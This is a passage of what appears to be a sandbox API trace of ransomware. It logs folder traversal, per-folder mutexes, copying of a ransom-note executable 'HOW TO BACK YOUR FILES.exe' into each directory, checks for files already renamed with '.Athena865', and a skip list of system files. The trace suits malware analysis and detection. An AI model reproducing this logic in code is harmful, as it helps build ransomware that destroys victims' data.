hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52fb00 | out: hHeap=0x4f0000) returned 1 [0097.693] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530b48 | out: hHeap=0x4f0000) returned 1 [0097.693] lstrlenW (lpString="C:\\ProgramData\\Application Data\\Templates") returned 41 [0097.693] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1CC0FC565CBC22AC0BD62A0E2A466B51") returned 0xec [0097.693] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.693] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Application Data\\Templates" | out: lpString1="C:\\ProgramData\\Application Data\\Templates") returned="C:\\ProgramData\\Application Data\\Templates" [0097.693] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.693] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.694] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\application data\\templates\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.694] GetLastError () returned 0x0 [0097.694] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.694] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.694] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.695] CloseHandle (hObject=0xf4) returned 1 [0097.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.695] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.695] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\Templates\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.695] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.695] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.695] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Documents\\My Music" | out: lpString1="C:\\ProgramData\\Documents\\My Music") returned="C:\\ProgramData\\Documents\\My Music" [0097.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517438 | out: hHeap=0x4f0000) returned 1 [0097.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50db20 | out: hHeap=0x4f0000) returned 1 [0097.695] lstrlenW (lpString="C:\\ProgramData\\Documents\\My Music") returned 33 [0097.695] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\60501B967D6C87AB532B894E07B2EBD1") returned 0xec [0097.695] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.695] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Documents\\My Music" | out: lpString1="C:\\ProgramData\\Documents\\My Music") returned="C:\\ProgramData\\Documents\\My Music" [0097.696] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.696] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.696] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.696] GetLastError () returned 0x0 [0097.696] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.696] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.697] CloseHandle (hObject=0xf4) returned 1 [0097.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.697] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.697] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\My Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7ef5c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7ef5c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.698] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.698] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.698] lstrcpyW (in: lpString1=0x241e88c, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0097.698] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0097.698] lstrlenW (lpString="Athena865") returned 9 [0097.698] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.698] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2d4540, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.698] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.698] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0097.698] lstrcmpiW (lpString1="Sample Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.698] lstrcmpiW (lpString1="Sample Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.698] lstrcpyW (in: lpString1=0x241e88c, lpString2="Sample Music" | out: lpString1="Sample Music") returned="Sample Music" [0097.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db20 [0097.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x524020 [0097.698] lstrcatW (in: lpString1="Sample Music", lpString2="\\" | out: lpString1="Sample Music\\") returned="Sample Music\\" [0097.698] lstrcatW (in: lpString1="Sample Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Music\\HOW TO BACK YOUR FILES.exe") returned="Sample Music\\HOW TO BACK YOUR FILES.exe" [0097.698] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Music\\Sample Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my music\\sample music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.699] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f1bd80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0097.699] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.699] ReleaseMutex (hMutex=0xec) returned 1 [0097.699] CloseHandle (hObject=0xec) returned 1 [0097.699] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Documents\\My Pictures" | out: lpString1="C:\\ProgramData\\Documents\\My Pictures") returned="C:\\ProgramData\\Documents\\My Pictures" [0097.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516318 | out: hHeap=0x4f0000) returned 1 [0097.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50daa8 | out: hHeap=0x4f0000) returned 1 [0097.699] lstrlenW (lpString="C:\\ProgramData\\Documents\\My Pictures") returned 36 [0097.699] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2A892506CE9B4305C6E42952F6EA91F0") returned 0xec [0097.699] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.699] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Documents\\My Pictures" | out: lpString1="C:\\ProgramData\\Documents\\My Pictures") returned="C:\\ProgramData\\Documents\\My Pictures" [0097.699] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.699] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.700] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.700] GetLastError () returned 0x0 [0097.700] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.700] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.701] CloseHandle (hObject=0xf4) returned 1 [0097.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.701] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.701] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\My Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.701] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.701] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.701] lstrcpyW (in: lpString1=0x241e892, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0097.702] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0097.702] lstrlenW (lpString="Athena865") returned 9 [0097.702] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.702] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.702] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.702] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0097.702] lstrcmpiW (lpString1="Sample Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.702] lstrcmpiW (lpString1="Sample Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.702] lstrcpyW (in: lpString1=0x241e892, lpString2="Sample Pictures" | out: lpString1="Sample Pictures") returned="Sample Pictures" [0097.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50daa8 [0097.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x539770 [0097.702] lstrcatW (in: lpString1="Sample Pictures", lpString2="\\" | out: lpString1="Sample Pictures\\") returned="Sample Pictures\\" [0097.702] lstrcatW (in: lpString1="Sample Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Pictures\\HOW TO BACK YOUR FILES.exe") returned="Sample Pictures\\HOW TO BACK YOUR FILES.exe" [0097.702] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Pictures\\Sample Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my pictures\\sample pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.703] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7f41ee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7f41ee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0097.703] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.703] ReleaseMutex (hMutex=0xec) returned 1 [0097.703] CloseHandle (hObject=0xec) returned 1 [0097.703] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Documents\\My Videos" | out: lpString1="C:\\ProgramData\\Documents\\My Videos") returned="C:\\ProgramData\\Documents\\My Videos" [0097.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517348 | out: hHeap=0x4f0000) returned 1 [0097.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530b60 | out: hHeap=0x4f0000) returned 1 [0097.703] lstrlenW (lpString="C:\\ProgramData\\Documents\\My Videos") returned 34 [0097.703] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9125D289E1A5A797E38FA0E147A9B446") returned 0xec [0097.703] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.703] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Documents\\My Videos" | out: lpString1="C:\\ProgramData\\Documents\\My Videos") returned="C:\\ProgramData\\Documents\\My Videos" [0097.703] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.703] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.704] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.704] GetLastError () returned 0x0 [0097.704] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.704] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.704] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.705] CloseHandle (hObject=0xf4) returned 1 [0097.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.706] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.706] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7fb4300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fb4300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.707] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.707] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.707] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.707] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7fb4300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fb4300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.707] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.707] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.707] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.707] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.707] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0097.707] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0097.708] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0097.708] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0097.708] lstrcpyW (in: lpString1=0x241e88e, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0097.708] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0097.708] lstrlenW (lpString="Athena865") returned 9 [0097.708] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0097.708] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2fa6a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2fa6a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.708] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.708] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2=".") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="..") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="windows") returned -1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="bootmgr") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="temp") returned -1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="pagefile.sys") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="boot") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="ids.txt") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="ntuser.dat") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="perflogs") returned 1 [0097.708] lstrcmpiW (lpString1="Sample Videos", lpString2="MSBuild") returned 1 [0097.708] lstrlenW (lpString="Sample Videos") returned 13 [0097.708] lstrcpyW (in: lpString1=0x241e88e, lpString2="Sample Videos" | out: lpString1="Sample Videos") returned="Sample Videos" [0097.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530b60 [0097.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53a960 [0097.708] lstrcatW (in: lpString1="Sample Videos", lpString2="\\" | out: lpString1="Sample Videos\\") returned="Sample Videos\\" [0097.708] lstrcatW (in: lpString1="Sample Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sample Videos\\HOW TO BACK YOUR FILES.exe") returned="Sample Videos\\HOW TO BACK YOUR FILES.exe" [0097.708] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Documents\\My Videos\\Sample Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\documents\\my videos\\sample videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.709] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc7fda460, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7fda460, 